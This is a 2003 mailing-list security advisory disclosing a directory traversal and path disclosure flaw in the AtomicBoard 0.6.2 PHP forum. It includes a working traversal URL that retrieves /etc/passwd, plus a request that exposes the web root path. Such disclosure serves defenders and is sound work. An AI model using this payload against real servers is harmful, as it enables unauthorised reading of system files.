Path disclosure and file retrieving in AtomicBoard-0.6.2

From: gr00vy (groovy2600_at_yahoo.com.ar)
Date: 07/21/03

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    Vendors has been contacted.
    Main WEB: http://cal007300.student.utwente.nl/atomicboard/

    DESCRIPTION:
    =========================================================================
    What is AtomicBoard?

    "An object oriented framework for building forums/weblogs"

    AtomicBoard is an Open Source web application written in PHP4
    which can serve as a forum or as a framework with which you
    can build your own forum or weblog.

    /* Description from http://cal007300.student.utwente.nl/atomicboard/ */

    DETAILS:
    =========================================================================
    There is a vulnerability in the current version of AtomicBoard
    (AtomicBoard v0.6.2)
    that allows an attacker tod retrieve files from the webserver whit
    webserver's ID, and
    also the faliure exposes the path of the webroot.

    File retrieving:
    http://server/atomicboard/index.php?location=../../../../../../etc/passwd
    RESPONSE:
    Complete contents of the especified file.

    Path Disclosure:
    http://server/AtomicBoard-0.6.2/index.php?location=anything

    Class.TemplateEngine::loadFile: file not found
    (/www/webs/groovy.no-ip.com/AtomicBoard-0.6.2/include/anything)

    CREDITS:
    =========================================================================
    Bug discovered by gr00vy
    Thanks to EthNic
    Research Labs gr00vy & Ethnic :D 

    -- 
gr00vy <groovy2600@yahoo.com.ar>
Linux User -- ZenCracking.com.ar
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